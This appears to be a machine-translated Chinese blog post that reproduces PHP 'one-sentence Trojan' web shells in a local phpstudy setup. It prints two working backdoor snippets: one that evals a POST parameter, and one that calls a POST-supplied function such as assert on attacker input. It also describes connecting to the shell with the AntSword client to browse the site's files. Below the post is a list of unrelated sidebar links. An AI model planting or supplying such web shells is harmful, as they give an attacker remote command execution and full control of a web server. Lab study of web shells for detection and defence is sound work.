当前位置:网站首页>Reproduce PHP one sentence Trojan horse
Reproduce PHP one sentence Trojan horse
2022-07-26 11:13:00 【Stay up late and sleepy】
stay phpstudy-pro in , Turn on apache,MySQL, stay WWW Create... In the directory php file , In the php Write code in the file
<?php
eval($_POST['2']);
?>
Open the Chinese ant sword test
Enter the local address of the test , Connection password input 2, Encoding format selection base64, Click test connection

When the connection is successful , Click Add , Double click the added record , See website Content and directory structure , On behalf of and success .

Revise it php file
<?php
$_POST['1']($_POST['2']);
?>

eval The rules of :eval It's a language constructor , It's not a function , Therefore, it cannot be called by variable functions .
Use assert;assert You can also execute any command ,

Show successful connection .
边栏推荐
- leetcode-209. 长度最小的子数组(二分、前缀和、滑动窗口)
- Simple use of MySQL database
- 3Dunity游戏项目实战——第一人称射击游戏
- 1748. Sum of unique elements
- C notes
- Multipartfil to file
- ThreadPoolExecutor是怎样执行任务的
- pytest 执行规则_基本用法_常用插件_常用断言_常用参数
- 0x00007ffd977c04a8 (qt5sqld.dll) (in a.exe): 0xc0000005: an access violation occurred when reading position 0x0000000000000010
- pytest pytest. Ini configuration case grouping case skipping
猜你喜欢

mysql数据库进阶

How the ThreadPoolExecutor performs tasks

Linkedblockingqueue of novice source code

找工作4个月,面试15家,终于拿到3个offer,定级P7+

数据可视化-《白蛇2:青蛇劫起》(2)

Bash shell learning notes (4)

Drbl diskless startup + Clonezilla network backup and restore system

232. Implement queue with stack

Bash shell learning notes (VII)

Connection between PLC and servo motor
随机推荐
Many people don't know whether they are looking for Kanban software or Kanban software
Multipartfil to file
logging 高级使用
Pytest case execution sequence
企鹅龙(DRBL)无盘启动+再生龙(clonezilla)网络备份与还原系统
Synchronized与ReentrantLock
pytest pytest.ini配置 用例分组 用例跳过
微信公众号消息通知 “errcode“:40164,“errmsg“:“invalid ip
Wechat official account message notice "errCode": 40164, "errmsg": "invalid IP
菜鸟看源码之ArrayList
并发三大性质
【转载】多元高斯分布(The Multivariate normal distribution)
Scrapy ip代理无响应
344. Reverse string
承认吧 投新能源就是为了安全感
nmap弱点扫描结果可视化转换
实时流式协议--RTSP
Simple use of MySQL database
LE Audio规范概述
easyui01